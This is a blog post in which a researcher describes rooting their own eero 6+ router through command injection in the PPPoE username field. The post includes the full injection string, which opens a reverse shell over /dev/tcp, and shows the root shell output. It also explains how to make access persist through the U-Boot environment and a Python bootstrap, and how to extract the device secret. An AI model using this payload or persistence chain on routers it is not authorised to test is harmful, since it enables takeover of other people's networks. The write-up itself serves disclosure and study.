a successful attempt at pwning an eero 6+


May’s failed attempt missed provisioning. 6 months later… I did it. The nudge came from an SSID command-injection bug in DJI drones.

I can has PPPoE creds

The eero app lets you set PPPoE creds from the app. Fair enough. Good UX. None of this 192.168.0.1, certificate-not-trusted bollocks. They’re sent over Bluetooth, so it doesn’t even need a network connection to d– oh wait. Yes it does.

What happens is, you enter the username and password and the app sends both to Amazon. Amazon encrypts them for that particular eero and sends a blob back. The app passes it over Bluetooth, TrustZone decrypts it, and the values end up in the local configuration database and a pppd peer file. Completely reasonable data harvesting for inserting network credentials.

On eeroOS v7.8.33, the relevant template contained this:

name "{{provider.username}}"

Unfortunately my ISP’s username was too long, so I had to shorten it to this:

a" set "BASH_ENV=$(sh -i >&/dev/tcp/10.77.0.1/505 <&1)" ip-up-script /bin/bash #

The cloud accepted it and returned a 205-byte request encrypted for serial GGC1UC0K537XXXXX. I sent it over Bluetooth and watched the PPPoE server and shell listener on my PC:

pppd: PPP session is 1
pppd: Connect: ppp0 <--> eno2
pppd: local  IP address 10.77.0.1
pppd: remote IP address 10.77.0.2

Connection received on 10.77.0.2 43256
sh: no job control in this shell
sh-3.2# id
uid=0(root) gid=0(root)
sh-3.2# /sbin/fw_printenv -n serial
GGC1UC0K537XXXXX

The shell lasted about as long as I last in bed: 20 seconds. noded failed its connectivity check and stopped pppd, taking the link with it, so I needed an alternative.

Making it last

pppd.service saw a read-only /var inside its private mount namespace, but could still reach PID 1’s private systemd socket. I used that to start an unrestricted service. The real /var was writable and persisted across reboots. noded already ran /usr/bin/python3 -BOO as root, so I put a Python shell and a sitecustomize.py bootstrap — loaded by Python by default — under /var/lib/eero-shell.

APPSBLENV is the 1 MiB U-Boot environment partition. Its UUID accepted a newline, and the systemd environment generator turned an appended PYTHONPATH=/var/lib/eero-shell into a separate environment variable. noded then loaded mine at boot. /var being mounted noexec did not matter. I backed up the partition first. Getting it wrong meant lifting the eMMC again.

I pulled the power. The boot ID changed and the shell returned at 54 seconds uptime:

uid=0(root) gid=0(root)
serial=GGC1UC0K537XXXXX
uptime=54.31 51.72
noded.service=active
eero-shell-test.service=inactive
bootstrap=eero-shell listening on 22443
EERO_UUID=72cfa536-c71b-11ec-b78a-XXXXXXXXXXXX
PYTHONPATH=/var/lib/eero-shell

I repeated the chain on a second eero with separate certificates and a separate APPSBLENV backup. It returned UID 0, rebooted and came back through its own client certificate.

Root could also ask TrustZone to unseal the eero’s 40-byte identity secret through /sys/sec_key. That secret derives the key Amazon uses for its encrypted PPPoE blob. With it, I decrypted the saved request offline to the 80-byte username and five-byte password. This did not work across devices, so one can assume the secrets are per-device.

It’s patched

I patched some of the binaries to initiate a firmware update and pull the blob, which totally worked and absolutely didn’t update the second eero to v7.17.4-5 and remove root. I had a look at it (if you want the blob, email me) and it still does this stupid super-secure credential dance, but now they have fixed it with:

-name "{{provider.username}}"
+name "{{provider.username|ppp_word}}"

The ppp_word filter calls escape_ppp_word, which does as it says.

So anyway, on 50% of my eeros I have root and can disable the telemetry and the “definitely not spyware” presence detector, just as I wanted. The /var route should still work with a direct eMMC write: verified boot covers the root filesystem, not /var or the CRC-only U-Boot environment. I threw away the board I chip-off’d, so I can’t easily trace the eMMC for ISP.

I’ll Ubiquiti my entire network up at some point.